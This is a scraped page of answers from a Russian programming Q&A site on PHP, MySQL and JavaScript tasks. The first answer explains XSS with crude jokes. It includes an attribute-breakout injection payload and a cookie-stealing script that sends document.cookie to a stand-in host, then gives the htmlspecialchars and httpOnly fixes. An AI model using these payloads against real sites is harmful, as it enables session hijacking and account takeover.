Задать вопрос
  • Зачем во избежание XSS нужно указывать на каждой странице кодировку, если злоумышленник все равно может изменить ее?

    @JunDevTest
    Контакты: thejundev@gmail.com | @juniordev
    XSS это эксплуатация уязвимостей в HTML, JS и других скриптах.

    3. Указывайте кодировку на каждой веб-странице.

    Кодировку нужно указывать, так как некоторые браузеры могут её неправильно определить и текстовой контент на сайте станет нечитаемым.

    В случае если тег расположен до тега и заполняется пользовательскими данными

    Нужно фильтровать пользовательские данные, в том числе, когда они встраиваются в HTML разметку.
    Например, вы разрешаете пользователям изменять фоновую картинку в своём профиле.
    У вас есть текстовое поле, в которое пользователь вводит ссылку на картинку. После этого вы подставляете картинку пользователя, например из базы данных в переменную $user_background.
    Таким образом, код на странице пользователя, выглядит как-то так:
    <body style="background: #282b31 url($user_background) 50% 0 repeat;">
    ...
    </body>

    Пользователь вставляет свою ссылку example.com/image.png и в коде страницы, это выглядит так:
    <body style="background: #282b31 url(http://example.com/image.png) 50% 0 repeat;">
    ...
    </body>

    Казалось-бы, что здесь не так. Если пользователь вставит сюда что-нибудь кроме картинки, то ничего не будет, по правилам CSS, зачем что-то фильтровать или... нет.
    Предположим, школохацкер вставит вместо картинки какой-нибудь тег:
    <script>alert('Мамку админа ипал!!111');</script>
    В таком случае, как правило, ничего не произойдёт, но может съехать вёрстка, что уже признак уязвимости. Дальше у нашего хакира бомбанёт пупкан и он попросит помощи у старшего брата из группировки Онанимусов. Добрый братик изменит эту строчку так, чтобы превратить её в активную XSS уязвимость ( правильно говорить "раскрутит" её ).
    На этом этапе строчка будет выглядеть как-то так:
    http://example.com/image.png') 50% 0 repeat;"><script>alert('Мамку админа ипал!!111');</script><input type="hidden" style="background: #282b31 url(

    Она не только радостно поприветствует алертом каждого, кто зайдёт на эту страницу, но ещё и установит картинку и не испортит вёрстку сайта, да ещё и к тому же не нарушит правил CSS. Итак, это и есть XSS уязвимость.
    Они к слову, бывают нескольких видов. Активные и пассивные.
    Чтобы расширить свой кругозор в области XSS, рекоммендую прочесть старый как помёт мамонта, мануал на форуме Antichat: forum.antichat.ru/threads/20140/ ( странно, ссылка вырезается, не уж то Ачат на Тостере под запретом? ).

    Что тут происходит?!
    Из-за отсутствия фильтрации текст из поля, сохраняется в БД в первоначальном виде. Как только он попадает на страницу, начинается самое интересное ^_^.
    Сначала код устанавливает картинку на фон, потом благополучно закрывает этот тег. После этого идёт "пейлоад", то есть JS код, например. С таким же успехом, можно запихнуть туда, например тег test или кучу ссылок на продажу виагры с анкорами, тем самым подняв некоторые показатели, например, индекс цитируемости (ТИЦ) для своих ссылок. После этого мы создаём новый тег input, делаем его скрытым и тем самым закрываем тег ( по стандартам html, этот элемент не нуждается в закрывающемся теге ). Уязвимость готова.

    Что ещё?
    Ну если вам этого недостаточно то можно "выипать админа" с помощью соц. инженерии и... той самой XSS. Для этого достаточно лишь поменять код JS на что-то вроде:
    <script>$.get('http://example.com/adminlox.php?sniffer=' + document.cookie);</script>

    и если у нубоадмина нет httponly у куков, то можно получить данные админа и войти под его аккаунтом или даже попасть в админку сайта. Дальше можно кое-что залить, но это уже совсем другая история... :3

    Как фиксить?
    Как минимум в этом конкретном случае, обернуть PHP переменную $user_background в
    htmlspecialchars($user_background, ENT_QUOTES, 'UTF-8');
    таким образом, код, показанный выше уже работать не будет. Дальше нужно установить httponly у сессионных Cookie (если ещё не стоит), для этого нужно заменить вашу конструкцию, на что-то вроде этого:
    header( "Set-Cookie: name=value; httpOnly" );
    или так
    setcookie('Foo','Bar',0,'/', 'www.sample.com'  , FALSE, TRUE);

    ну и вообще, перед тем как что-то писать, лучше прочтите хотя-бы одну книгу по PHP7.x, JS ec6, HTML5,CSS3. Я сам их не читал, поэтому это можете спросить здесь, новым вопросом. Здесь есть ребята, которые могут подсказать действительно годную и современную литературу.
    Удачи вам, в познании XSS.
    Ответ написан
    Комментировать
  • Как поменять тип поля с integer в datetime с автоматической конвертацией значений?

    Melkij
    @Melkij
    DBA Team для вашего PostgreSQL?
    mysql не умеет конвертировать значения при смене типа на несовместимый.
    Поэтому необходимо добавить новое поле, обновить всю таблицу, удалить старое поле и переименовать новое в старое.

    Для конвертации из числового unixtime в datetime есть подходящая функция FROM_UNIXTIME, поэтому обновление таблицы будет таким:
    update tablename set new_datefield = FROM_UNIXTIME(old_int_unixtime);
    Ответ написан
    Комментировать
  • Нет подключения к интернету как сделать?

    BRAGA96
    @BRAGA96
    Проверять свойство window.navigator.onLine
    Ответ написан
    Комментировать
  • Как соединить два многомерных массива?

    Решение "в лоб", но работать будет

    $products = [
    	[
    		'product_id' => 102966,
    		'price'      => 11,
    	],
    	[
    		'product_id' => 102967,
    		'price'      => 22,
    	]
    ];
    
    $attributes = [
    	[
    		'product_id'    => 102966,
    		'attr_name'     => 'Диагональ;Длительность ролика',
    		'attr_value'    => '2";1 мин, 2 мин, 3 мин, 5 мин',
    	],
    	[
    		'product_id'    => 102967,
    		'attr_name'     => 'Выходы;Диагональ;Дополнительная информация',
    		'attr_value'    => 'HDMI;2.7";рабочие диапазоны',
    	],
    ];
    
    $products = array_map(function($product) use ( $attributes ) {
    	$attribute = array_filter($attributes, function($attribute) use ( $product ) {
    		return $attribute['product_id'] === $product['product_id'];
    	});
    
    	return array_merge($attribute ? current($attribute) : [], $product);
    }, $products);
    
    print_r($products);
    Ответ написан
    4 комментария
  • Как ускориться и быстрее писать веб-приложения?

    webinar
    @webinar Куратор тега Веб-разработка
    Учим yii: https://youtu.be/-WRMlGHLgRg
    Сколько времени у вас уходит на развертыванием веб-проекта

    3 часа 14 минут. Не зависимо от ТЗ и сложности. Просто чудо какое-то что б не делал всегда 3,14 часов. Что бы не делал - 3,14 просто ПИ...тое число.

    Хочу ускориться, делать больше работы за единицу времени

    Найми сотрудников. Или прими за единицу времени большую единицу. Еще есть опыт, он со временем даст прирост скорости.

    Неужели создание сайта (верстка, бэкенд, фронтенд, проектирование бд итд) настолько нудный и муторный процесс?!

    Вам виднее, это дело вкуса. Если Вам нудно - значит нудный. Попробуйте копать траншеи, может веселее пойдет.

    Поделитесь секретными инструментами, приемами, фреймворками, позволяющими выполнять проект за считанные дни.

    boostrap, vue, jquery, gulp, нормальная IDE, опыт и т.д.
    если надо волшебства - беритесь за проекты, которые делаются за "считанные дни". Например, работайте только wp и готовыми шаблонами. Думаю за пару часов можно собрать сайт (3 часа 14 минут).
    Ответ написан
    Комментировать
  • Как правильно обрезать php до 2-ух знаков после точки?

    Rsa97
    @Rsa97
    Для правильного вопроса надо знать половину ответа
    Что-то вы не то делаете.
    $scheck = 5786.94666667;
    $scheck = number_format($scheck, 2, '.', ' ');
    print $scheck;

    5 786.95
    Ответ написан
    Комментировать
  • Как сделать тяжелый импорт из excel 800к товаров?

    MaxDukov
    @MaxDukov
    впишусь в проект как SRE/DevOps.
    xls сохранить в csv, дальше LOAD DATA INFILE в mysql-ной консоли. Загружал таким образом файлики на десятки миллионов строк - залетает на ура.
    Ответ написан
    Комментировать
  • Как сделать тяжелый импорт из excel 800к товаров?

    solotony
    @solotony
    покоряю пик Балмера
    оптимально по быстродействию - LOAD DATA INFILE. но "минус" - валидацию не выполнить, и обновление тоже

    если нужна валидация - надо парсить самостоятельно. Для ускорения SQL делайте вставки пакетами
    insert ignore ..... values (),(),() ...

    если нужно обновление
    insert ignore ..... values (),(),() ... on duplicate key update

    если скрипт обрубается лимитами - создавайте задание, и обрабатывайте по крон

    800К это не много.
    Ответ написан
    Комментировать
  • Чему научиться кроме HTML, CSS, JS для фриланса на upwork?

    @Ravenio
    Доброго времени суток.
    Отвечая на вопрос.
    По количеству заказов, на данный момент, по апворку у заказчиков популярны PHP/Wordpress/Laravel, WP вне конкуренции.
    В сторону JS есть много заказов по React/Angular/Node.JS, меньше по Vue.
    Если же говорить про то, что необходимо, то начиная с самых низов от WP сейчас никуда не деться, просто навыками HTML/CSS на апворке да и вообще уже никого не удивить.
    На JS/React/Node.js заказы выше уровнем, без опыта и хорошего портфолио их брать сложнее чем на том же WP.
    Ну и общее.
    Про идеальный английский - неправда. Знать его конечно необходимо, но уровня intermediate вполне.
    По поводу маленьких ставок и быть первым - тоже, не совсем:
    • Во-первых это не всем известная помойка. Да, заказчики бывают разные, но основаная масса желает платить специалисту, не равняйте менталитет заказчика из США с нашим, у него не укладывается, что специалист ставит 5-8$ за час. В среднем, все начинают в диапазоне 12-15$, хотите можете и с 5$ начинать, но лучше сразу привыкать ценить свой труд. И вас ценить будут в ответ. Пример из опыта заказ на установку WP, и темы без кастомизации и прочего ушел за 35$/час, на вопрос почему, заказчик сказал, потому что я вижу что вы сделаете за час, а человек будет за 7$ ставить мне его неделю, может заказчик и не прав, но такой ход мысли у многих. Повторюсь есть и иные случаи, но потом часто можно в Job feed увидеть - "даю апворку последний шанс, чтобы сделать мою работу, предыдущий фрилансер не справился".

    • Во вторых, там необходимо ответить в течении определенного времени, обычно окно составляет около 10 минут. Ваш cover letter выстраивается у заказчика релевантно вашим скилам, портфолио, последним выполненым работам, но никак не зависит от того вы ответите первая или десятая.

    Ни в коем случае, не при каких обстоятельствах не работайте за отзыв и за очень маленькую ставку, мошенников и сволочей большое количество. Случаев работы за 5$ два месяца - масса. Начиналось все с небольшой правки, и обещаний оставить хороший отзыв, а потом в процессе узнаешь что такое JSS, что такое скрытые отзывы. И так люди работали.
    Старайтесь избегать заказчиков из Пакистана, Индии. Русскоязычных старайтесь тоже избегать, вообщем ищите заказы в странах от Германии и западнее.

    В любом случае, как раз где-то через 6-8 месяцев обучения, вы уже сами будете отвечать на этот вопрос другим. Удачи вам, Марина!
    Ответ написан
    2 комментария
  • Как окгрулять время до меньшего значения?

    $now = \Carbon\Carbon::now();
    $now->minute($now->minute - $now->minute % 15)->second(0)
    Ответ написан
    2 комментария
  • Как найти значение обекта зная ключ, который храниться в строке?

    bingo347
    @bingo347 Куратор тега JavaScript
    Crazy on performance...
    function getValueFromKey(key, obj) {
      const keys = key.split('.');
      let curObj = obj;
      for(let k of keys) {
        if(typeof curObj !== 'object') { return; }
        curObj = curObj[k];
      }
      return curObj;
    }
    Ответ написан
    Комментировать
  • Как разобрать объект?

    bingo347
    @bingo347 Куратор тега JavaScript
    Crazy on performance...
    2 рабочих решения уже предложены c O(3n) и O(2n), но для сторонников оптимизации решение с O(n):
    const checkedValues = Object.getOwnPropertyNames(checkboxGroup).reduce((result, key) => {
      const {checked, value} = checkboxGroup[key];
      if(checked) {
        result.push(value);
      }
      return result;
    }, []);
    Ответ написан
    3 комментария
  • Как разобрать объект?

    const newArray = Object.keys(checkboxGroup) // Превращаем объект в массив ключей checkboxGroup
         .filter(name => checkboxGroup[name].checked === true) // Создаем новый массив из ключей, в котором будут только те, для которых у объекта - checked есть истина
         .map(name => checkboxGroup[name].value); // Создаем новый массив из свойств value
    Ответ написан
  • Как реализовать выбор чекбоксов зажатием мыши как в Яндекс Почте?

    0xD34F
    @0xD34F Куратор тега JavaScript
    Зажимайте.

    UPD. Вынесено из комментариев:

    Есть ли способ для снятия чекбоксов таким же способом, если делать по аналогии выходит коряво ?

    вот аналогия и вот почему коряво
    https://codepen.io/sasha1998dmitalex/pen/OZbyYo

    Ну, тут разные варианты есть...

    Можно выставлять чекбокс по левой кнопке, снимать по правой, типа так.

    Можно инвертировать состояние чекбокса по событию mouseover, типа так.

    Можно выставлять чекбоксы по зажатой кнопке мыши, а убирать по зажатой кнопке мыши + зажатой клавише ctrl, типа так.
    Ответ написан
    7 комментариев
  • Хотите задать вопрос администрации Тостера?

    longclaps
    @longclaps
    Встречаются ошибочные (либо ну очень кривые) ответы, помеченые решением.
    Никакого инструмента повлиять на это нет - только язвительные и бессильные комментарии (
    Доколе?
    Ответ написан
    23 комментария
  • Хотите задать вопрос администрации Тостера?

    rockon404
    @rockon404
    Frontend Developer
    Сервису не хватает минусов для ответов. Бывает не очень опытный человек публикует плохой ответ, который вроде работает, но является очень плохим решением. Самое интересное, что такие ответы часто набирают плюсы. Если бы была возможность поставить минус, уверен они бы были заминусованы и не сбивали с толку людей столкнувшихся с похожей проблемой.

    UPD: По поводу вкладки Избранное еще в комментариях к вопросу написал.
    Ответ написан
    54 комментария
  • Как в PHP решаем проблему поиска по ключу и извлечения значения?

    Minifets
    @Minifets
    Hello world!!!
    $a = 3;
    $result = array_filter($array, function ($elem) use ($a) {
        return array_key_exists('id', $elem) and $elem['id'] === $a;
    });
    
    if (!empty($result)) {
        $value = reset($result);
    }
    Ответ написан
    Комментировать
  • Как написать функцию?

    evgeniy2194
    @evgeniy2194
    PHP, js developer
    $text = "Text oppa post lost kost most dust past";
    $char = "p";
    
    echo countChars($text, 'p'); // => 4
    echo countChars($text, 'pp'); // => -1
    echo countChars($text, $char); // => 4
    
    function countChars($text, $char) {
    	if (mb_strlen ($char) > 1) {
    		return -1;
    	}
    	
    	return substr_count($text, $char);
    }
    Ответ написан
    1 комментарий
  • Как правильно генерировать html-файл через PHP?

    Stalker_RED
    @Stalker_RED
    Ответ написан
    Комментировать